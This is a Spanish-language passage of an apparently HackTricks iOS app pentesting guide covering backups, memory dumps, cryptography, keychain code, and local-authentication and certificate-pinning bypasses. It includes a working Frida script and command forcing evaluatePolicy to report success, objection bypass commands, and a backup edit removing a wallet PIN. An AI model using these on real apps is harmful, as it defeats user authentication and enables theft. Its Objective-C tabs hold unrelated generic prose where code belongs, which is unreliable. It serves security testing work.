Para evaluar la seguridad de la copia de seguridad de una aplicación, comience por crear una copia de seguridad utilizando Finder, luego localícela siguiendo la guía de la documentación oficial de Apple. Analice la copia de seguridad en busca de datos sensibles o configuraciones que podrían ser modificadas para afectar el comportamiento de la aplicación.

La información sensible se puede buscar utilizando herramientas de línea de comandos o aplicaciones como iMazing. Para copias de seguridad encriptadas, la presencia de encriptación se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>

Para lidiar con copias de seguridad encriptadas, los scripts de Python disponibles en el repositorio de GitHub de DinoSec, como backup_tool.py y backup_passwd.py, pueden ser útiles, aunque potencialmente requieran ajustes para ser compatibles con las últimas versiones de iTunes/Finder. La herramienta iOSbackup es otra opción para acceder a archivos dentro de copias de seguridad protegidas con contraseña.

Modificación del Comportamiento de la Aplicación

Un ejemplo de alterar el comportamiento de una aplicación a través de modificaciones en la copia de seguridad se muestra en la aplicación de billetera de bitcoins Bither (https://github.com/bither/bither-ios), donde el PIN de bloqueo de la interfaz de usuario se almacena dentro de net.bither.plist bajo la clave pin_code. Eliminar esta clave del plist y restaurar la copia de seguridad elimina el requisito del PIN, proporcionando acceso sin restricciones.

Resumen sobre Pruebas de Memoria para Datos Sensibles

Al tratar con información sensible almacenada en la memoria de una aplicación, es crucial limitar el tiempo de exposición de estos datos. Hay dos enfoques principales para investigar el contenido de la memoria: crear un volcado de memoria y analizar la memoria en tiempo real. Ambos métodos tienen sus desafíos, incluida la posibilidad de perder datos críticos durante el proceso de volcado o análisis.

Recuperación y Análisis de un Volcado de Memoria

Tanto en dispositivos con jailbreak como sin jailbreak, herramientas como objection y Fridump permiten el volcado de la memoria del proceso de una aplicación. Una vez volcado, analizar estos datos requiere diversas herramientas, dependiendo de la naturaleza de la información que estás buscando.

Para extraer cadenas de un volcado de memoria, se pueden usar comandos como strings o rabin2 -zz:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Para un análisis más detallado, incluida la búsqueda de tipos de datos o patrones específicos, radare2 ofrece amplias capacidades de búsqueda:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Análisis de Memoria en Tiempo de Ejecución

r2frida proporciona una alternativa poderosa para inspeccionar la memoria de una aplicación en tiempo real, sin necesidad de un volcado de memoria. Esta herramienta permite la ejecución de comandos de búsqueda directamente en la memoria de la aplicación en ejecución:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Criptografía Rota

Procesos de Gestión de Claves Deficientes

Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predecible en el código. Esto no debería hacerse, ya que un proceso de reversión podría permitir a los atacantes extraer la información confidencial.

Uso de Algoritmos Inseguros y/o Obsoletos

Los desarrolladores no deberían utilizar algoritmos obsoletos para realizar verificaciones de autorización, almacenar o enviar datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se utilizan hashes para almacenar contraseñas, por ejemplo, se deben utilizar hashes resistentes a ataques de fuerza bruta con sal.

Verificación

Las principales verificaciones a realizar son encontrar contraseñas/secretos codificados en el código, o si estos son predecibles, y si el código está utilizando algún tipo de algoritmos de criptografía débiles.

Es interesante saber que puedes monitorizar algunas bibliotecas de criptografía automáticamente usando objection con:

ios monitor crypt

Para más información sobre las API y bibliotecas criptográficas de iOS, accede a https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Autenticación Local

La autenticación local juega un papel crucial, especialmente cuando se trata de salvaguardar el acceso en un punto final remoto a través de métodos criptográficos. La esencia aquí es que sin una implementación adecuada, los mecanismos de autenticación local pueden ser eludidos.

El framework de Autenticación Local de Apple y el llavero proporcionan APIs robustas para que los desarrolladores faciliten diálogos de autenticación de usuarios y manejen de forma segura datos secretos, respectivamente. El Secure Enclave asegura la identificación de huellas dactilares para Touch ID, mientras que Face ID se basa en el reconocimiento facial sin comprometer datos biométricos.

Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API:

  • LocalAuthentication.framework para autenticación de usuario de alto nivel sin acceso a datos biométricos.
  • Security.framework para acceso a servicios de llavero de nivel inferior, asegurando datos secretos con autenticación biométrica. Varios envoltorios de código abierto hacen que el acceso al llavero sea más sencillo.

{% hint style="danger" %} Sin embargo, tanto LocalAuthentication.framework como Security.framework presentan vulnerabilidades, ya que principalmente devuelven valores booleanos sin transmitir datos para procesos de autenticación, lo que los hace susceptibles a eludir (consultar Don't touch me that way, de David Lindner et al). {% endhint %}

Implementación de Autenticación Local

Para solicitar a los usuarios autenticación, los desarrolladores deben utilizar el método evaluatePolicy dentro de la clase LAContext, eligiendo entre:

  • deviceOwnerAuthentication: Solicita Touch ID o código de acceso del dispositivo, fallando si ninguno está habilitado.
  • deviceOwnerAuthenticationWithBiometrics: Solicita exclusivamente Touch ID.

Una autenticación exitosa se indica con un valor booleano devuelto por evaluatePolicy, resaltando una posible falla de seguridad.

Autenticación Local utilizando el Llavero

Implementar la autenticación local en aplicaciones de iOS implica el uso de las API del llavero para almacenar de forma segura datos secretos como tokens de autenticación. Este proceso asegura que los datos solo puedan ser accedidos por el usuario, utilizando su código de acceso del dispositivo o autenticación biométrica como Touch ID.

El llavero ofrece la capacidad de establecer elementos con el atributo SecAccessControl, que restringe el acceso al elemento hasta que el usuario se autentique con éxito a través de Touch ID o código de acceso del dispositivo. Esta característica es crucial para mejorar la seguridad.

A continuación se muestran ejemplos de código en Swift y Objective-C que demuestran cómo guardar y recuperar una cadena en/desde el llavero, aprovechando estas características de seguridad. Los ejemplos muestran específicamente cómo configurar el control de acceso para requerir autenticación con Touch ID y asegurar que los datos solo sean accesibles en el dispositivo en el que se configuraron, bajo la condición de que se haya configurado un código de acceso del dispositivo.

{% tabs %} {% tab title="Swift" %}

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

{% endtab %}

{% tab title="Objective-C" %}

Introducción

El pentesting en aplicaciones iOS escritas en Objective-C implica la revisión de posibles vulnerabilidades de seguridad en el código fuente de la aplicación. Algunas de las vulnerabilidades comunes a tener en cuenta incluyen el almacenamiento inseguro de datos, la falta de validación de entrada, la falta de cifrado adecuado y la exposición de información confidencial.

Herramientas y técnicas

Algunas herramientas y técnicas comunes utilizadas en el pentesting de aplicaciones iOS Objective-C incluyen el uso de depuradores como LLDB, la descompilación de la aplicación para analizar el código fuente, la manipulación de solicitudes HTTP para probar la seguridad de la comunicación de red y la búsqueda de posibles puntos de entrada para ataques de inyección de código.

Recomendaciones

Es importante realizar pruebas exhaustivas en todas las áreas de la aplicación, incluido el almacenamiento de datos local y en la nube, la comunicación de red, la autenticación de usuarios y los controles de acceso. Además, se recomienda seguir las mejores prácticas de seguridad de iOS y corregir cualquier vulnerabilidad encontrada durante el proceso de pentesting.

{% endtab %}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

Ahora podemos solicitar el elemento guardado del llavero. Los servicios del llavero presentarán el cuadro de diálogo de autenticación al usuario y devolverán datos o nil dependiendo de si se proporcionó una huella digital adecuada o no.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

{% endtab %}

{% tab title="Objective-C" %}

Introducción

La seguridad de las aplicaciones móviles es crucial en la actualidad. Para garantizar que las aplicaciones iOS sean seguras, es importante realizar pruebas de penetración para identificar posibles vulnerabilidades.

Herramientas de Pruebas de Penetración para iOS

1. Frida

Frida es una herramienta de pruebas de penetración que permite la manipulación dinámica de aplicaciones iOS. Puede utilizarse para realizar pruebas de seguridad, análisis de aplicaciones y más.

2. Cycript

Cycript es otra herramienta poderosa que permite la exploración y modificación de aplicaciones en tiempo de ejecución. Es útil para realizar pruebas de penetración en aplicaciones iOS.

3. Needle

Needle es un marco de trabajo de pruebas de penetración automatizado para aplicaciones iOS. Proporciona una amplia gama de funcionalidades para identificar vulnerabilidades en aplicaciones móviles.

Proceso de Pruebas de Penetración en iOS

El proceso de pruebas de penetración en aplicaciones iOS generalmente implica las siguientes etapas:

  1. Recolección de Información: Obtener información sobre la aplicación y su funcionamiento.

  2. Análisis de Seguridad: Identificar posibles vulnerabilidades en la aplicación.

  3. Explotación: Explotar las vulnerabilidades identificadas para evaluar su impacto.

  4. Informe: Documentar las vulnerabilidades encontradas y proporcionar recomendaciones para su corrección.

Conclusiones

Realizar pruebas de penetración en aplicaciones iOS es esencial para garantizar la seguridad de las mismas. Herramientas como Frida, Cycript y Needle pueden ser de gran ayuda en este proceso.

{% endtab %}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

Detección

El uso de frameworks en una aplicación también puede ser detectado analizando la lista de bibliotecas dinámicas compartidas del binario de la aplicación. Esto se puede hacer utilizando otool:

$ otool -L <AppName>.app/<AppName>

Si se utiliza LocalAuthentication.framework en una aplicación, la salida contendrá ambas de las siguientes líneas (recuerda que LocalAuthentication.framework utiliza Security.framework internamente):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Si se utiliza Security.framework, solo se mostrará el segundo.

Bypass del Marco de Autenticación Local

Objeción

A través del Bypass Biométrico de Objection, ubicado en esta página de GitHub, está disponible una técnica para superar el mecanismo de LocalAuthentication. El núcleo de este enfoque implica aprovechar Frida para manipular la función evaluatePolicy, asegurando que arroje consistentemente un resultado True, independientemente del éxito real de la autenticación. Esto es particularmente útil para eludir procesos de autenticación biométrica defectuosos.

Para activar este bypass, se emplea el siguiente comando:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Este comando inicia una secuencia donde Objection registra una tarea que altera efectivamente el resultado de la verificación de evaluatePolicy a True.

Frida

Un ejemplo de uso de evaluatePolicy de la aplicación DVIA-v2:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Para lograr el bypass de la Autenticación Local, se escribe un script de Frida. Este script apunta a la verificación de evaluatePolicy, interceptando su devolución de llamada para asegurar que devuelva success=1. Al alterar el comportamiento de la devolución de llamada, se logra eludir efectivamente la verificación de autenticación.

El siguiente script se inyecta para modificar el resultado del método evaluatePolicy. Cambia el resultado de la devolución de llamada para indicar siempre éxito.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Para inyectar el script de Frida y evitar la autenticación biométrica, se utiliza el siguiente comando:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Exposición de Funcionalidades Sensibles a Través de IPC

Manipuladores de URI Personalizados / Deeplinks / Esquemas Personalizados

{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}

Enlaces Universales

{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}

Compartir UIActivity

{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}

UIPasteboard

{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}

Extensiones de Aplicaciones

{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}

WebViews

{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}

Serialización y Codificación

{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}

Comunicación de Red

Es importante verificar que no se esté produciendo ninguna comunicación sin cifrado y también que la aplicación esté validando correctamente el certificado TLS del servidor.
Para verificar este tipo de problemas, puedes utilizar un proxy como Burp:

{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}

Verificación de Nombre de Host

Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una CA de confianza, pero no verificar si el nombre de host del certificado es el nombre de host al que se accede.
Para verificar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes crear un nuevo certificado con Burp para un nombre de host diferente y usarlo. Si la aplicación sigue funcionando, entonces algo es vulnerable.

Pinning de Certificados

Si una aplicación está utilizando correctamente el Pinning SSL, entonces la aplicación solo funcionará si el certificado es el esperado. Al probar una aplicación, esto puede ser un problema ya que Burp servirá su propio certificado.
Para evitar esta protección dentro de un dispositivo con jailbreak, puedes instalar la aplicación SSL Kill Switch o instalar Burp Mobile Assistant

También puedes usar ios sslpinning disable de objection

Varios

  • En /System/Library puedes encontrar los frameworks instalados en el teléfono utilizados por las aplicaciones del sistema
  • Las aplicaciones instaladas por el usuario desde la App Store se encuentran dentro de /User/Applications
  • Y /User/Library contiene datos guardados por las aplicaciones a nivel de usuario
  • Puedes acceder a /User/Library/Notes/notes.sqlite para leer las notas guardadas dentro de la aplicación.
  • Dentro de la carpeta de una aplicación instalada (/User/Applications/<ID DE APP>/) puedes encontrar algunos archivos interesantes:
    • iTunesArtwork: El icono utilizado por la aplicación
    • iTunesMetadata.plist: Información de la aplicación utilizada en la App Store
    • /Library/*: Contiene las preferencias y caché. En /Library/Cache/Snapshots/* puedes encontrar la instantánea realizada a la aplicación antes de enviarla al segundo plano.

Parcheo en Caliente/Actualización Forzada

Los desarrolladores pueden parchear remotamente todas las instalaciones de su aplicación al instante sin tener que volver a enviar la aplicación a la App Store y esperar a que sea aprobada.
Para este propósito, generalmente se utiliza JSPatch. Pero también existen otras opciones como Siren y react-native-appstore-version-checker.
Este es un mecanismo peligroso que podría ser abusado por SDK de terceros maliciosos, por lo tanto, se recomienda verificar qué método se utiliza para la actualización automática (si la hay) y probarlo. Podrías intentar descargar una versión anterior de la aplicación con este propósito.

Terceros

Un desafío significativo con los SDK de terceros es la falta de control granular sobre sus funcionalidades. Los desarrolladores se enfrentan a una elección: integrar el SDK y aceptar todas sus características, incluidas posibles vulnerabilidades de seguridad y preocupaciones de privacidad, o renunciar por completo a sus beneficios. A menudo, los desarrolladores no pueden parchear las vulnerabilidades dentro de estos SDK por sí mismos. Además, a medida que los SDK ganan confianza dentro de la comunidad, algunos pueden empezar a contener malware.

Los servicios proporcionados por los SDK de terceros pueden incluir seguimiento del comportamiento del usuario, visualización de anuncios o mejoras en la experiencia del usuario. Sin embargo, esto introduce un riesgo ya que los desarrolladores pueden no estar completamente al tanto del código ejecutado por estas bibliotecas, lo que conlleva posibles riesgos de privacidad y seguridad. Es crucial limitar la información compartida con los servicios de terceros a lo necesario y asegurarse de que no se expongan datos sensibles.

La implementación de servicios de terceros suele venir en dos formas: una biblioteca independiente o un SDK completo. Para proteger la privacidad del usuario, cualquier dato compartido con estos servicios debe estar anonimizado para evitar la divulgación de Información de Identificación Personal (PII).

Para identificar las bibliotecas que utiliza una aplicación, se puede emplear el comando otool. Este comando debe ejecutarse contra la aplicación y cada biblioteca compartida que utiliza para descubrir bibliotecas adicionales.

otool -L <application_path>

Referencias y Recursos Adicionales


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
¡Accede hoy mismo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: